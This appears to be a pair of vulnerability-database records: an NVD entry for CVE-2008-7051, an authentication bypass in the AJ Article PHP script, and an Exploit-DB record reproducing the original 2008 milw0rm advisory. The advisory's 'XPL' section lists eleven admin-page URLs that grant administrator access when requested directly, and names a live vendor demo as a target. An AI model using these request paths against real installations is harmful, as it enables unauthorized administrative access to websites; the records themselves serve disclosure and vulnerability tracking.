{"id": "CVE-2008-7051", "bulletinFamily": "NVD", "title": "CVE-2008-7051", "description": "AJ Square AJ Article allows remote attackers to bypass authentication and access administrator functionality via a direct request to (1) user.php, (2) articles.php, (3) articlesuspend.php, (4) site.php, (5) statistics.php, (6) mail.php, (7) category.php, (8) subcategory.php, (9) changepassword.php, (10) polling.php, and (11) logo.php in admin/.", "published": "2009-08-24T06:30:02", "modified": "2017-09-28T21:33:29", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7051", "reporter": "NVD", "references": ["https://www.exploit-db.com/exploits/7081", "http://www.securityfocus.com/bid/32254", "http://www.vupen.com/english/advisories/2008/3097"], "cvelist": ["CVE-2008-7051"], "type": "cve", "lastseen": "2017-09-29T14:26:24", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:ajsquare:aj_article"], "cvelist": ["CVE-2008-7051"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "AJ Square AJ Article allows remote attackers to bypass authentication and access administrator functionality via a direct request to (1) user.php, (2) articles.php, (3) articlesuspend.php, (4) site.php, (5) statistics.php, (6) mail.php, (7) category.php, (8) subcategory.php, (9) changepassword.php, (10) polling.php, and (11) logo.php in admin/.", "edition": 1, "enchantments": {}, "hash": "b7ee1d175d9699ac03714bde1531a2d398329c7f0817bda500953e9c63df0e2e", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "7873d0588415782d4939adc6dbdf4955", "key": "published"}, {"hash": "ee08feff47eefba347c935b9feeef6eb", "key": "references"}, {"hash": "d40f8ce0c9c20d98fc6d4c01d6a6ccae", "key": "cvelist"}, {"hash": "f90ab89e484c434c789b9457f970b2cb", "key": "description"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "23dcca8ca90e7958f819cb23106d799c", "key": "cpe"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "2b7b6c3c96552f1e1b3bae291a5758d7", "key": "href"}, {"hash": "668ddb2a92bf78596a3ce2b30283d078", "key": "modified"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "a703792e66cb3ebbc778599cb5e56787", "key": "title"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7051", "id": "CVE-2008-7051", "lastseen": "2016-09-03T11:52:01", "modified": "2009-08-24T00:00:00", "objectVersion": "1.2", "published": "2009-08-24T06:30:02", "references": ["http://www.securityfocus.com/bid/32254", "http://www.vupen.com/english/advisories/2008/3097", "http://www.milw0rm.com/exploits/7081"], "reporter": "NVD", "scanner": [], "title": "CVE-2008-7051", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T11:52:01"}], "edition": 2, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "23dcca8ca90e7958f819cb23106d799c"}, {"key": "cvelist", "hash": "d40f8ce0c9c20d98fc6d4c01d6a6ccae"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "f90ab89e484c434c789b9457f970b2cb"}, {"key": "href", "hash": "2b7b6c3c96552f1e1b3bae291a5758d7"}, {"key": "modified", "hash": "3338a8e903e2584aa80001c657e0a796"}, {"key": "published", "hash": "7873d0588415782d4939adc6dbdf4955"}, {"key": "references", "hash": "843db638c1e8a038f7b798572358416d"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "a703792e66cb3ebbc778599cb5e56787"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "cccb51c40a9a91aab153b4981f3c4a2a8f59dfe02febb9ebb136f19d905067be", "viewCount": 1, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-09-29T14:26:24"}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:7081"]}], "modified": "2017-09-29T14:26:24"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "cpe": ["cpe:/a:ajsquare:aj_article"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": []}

{"exploitdb": [{"lastseen": "2016-02-01T01:21:57", "bulletinFamily": "exploit", "description": "AJ ARTICLE Remote Authentication Bypass Vulnerability. CVE-2008-7051. Webapps exploit for php platform", "modified": "2008-11-10T00:00:00", "published": "2008-11-10T00:00:00", "id": "EDB-ID:7081", "href": "https://www.exploit-db.com/exploits/7081/", "type": "exploitdb", "title": "AJ ARTICLE Remote Authentication Bypass Vulnerability", "sourceData": "==============================================================================\n _ _ _ _ _ _ \n / \\ | | | | / \\ | | | |\n / _ \\ | | | | / _ \\ | |_| |\n / ___ \\ | |___ | |___ / ___ \\ | _ |\n IN THE NAME OF /_/ \\_\\ |_____| |_____| /_/ \\_\\ |_| |_|\n \n\n==============================================================================\n ____ _ _ _ _ ___ _ __\n / ___| | || | | \\ | | / _ \\ | |/ /\n | | _ | || |_ | \\| | | | | | | ' / \n | |_| | |__ _| | |\\ | | |_| | | . \\ \n \\____| |_| |_| \\_| \\___/ |_|\\_\\\n\n==============================================================================\n\tAJ Article Auth Bypass Vulnerability\n==============================================================================\n\n\t[\u00c2\u00bb] Script: [ AJ Article ]\n\t[\u00c2\u00bb] Language: [ PHP ]\n\t[\u00c2\u00bb] Website: [ http://www.ajsquare.com/products/article/ ]\n\t[\u00c2\u00bb] Type: [ Commercial ]\n\t[\u00c2\u00bb] Report-Date: [ 10.11.2008 ]\n\t[\u00c2\u00bb] Founder: [ G4N0K <mail.ganok[at]gmail.com> ]\n\n\n===[ XPL ]===\n\t\n\t[\u00c2\u00bb] http://localhost/[path]/admin/user.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/articles.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/articlesuspend.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/site.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/statistics.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/mail.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/category.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/subcategory.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/changepassword.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/polling.php\n\t[\u00c2\u00bb] http://localhost/[path]/admin/logo.php\n\t[\u00c2\u00bb] ...\n\t\n\n\n===[ LIVE ]===\n\n\t[\u00c2\u00bb] http://www.ajsquare.com/products/demo/admin/\n\n\n\t\n===[ Greetz ]===\n\n\t[\u00c2\u00bb] ALLAH\n\t[\u00c2\u00bb] Tornado2800 <Tornado2800[at]gmail.com>\n\t[\u00c2\u00bb] Hussain-X <darkangel_g85[at]yahoo.com>\n\n\t//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)\n\t//ALLAH,forgimme...\n\n===============================================================================\nexit();\n===============================================================================\n\n# milw0rm.com [2008-11-10]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/7081/"}]}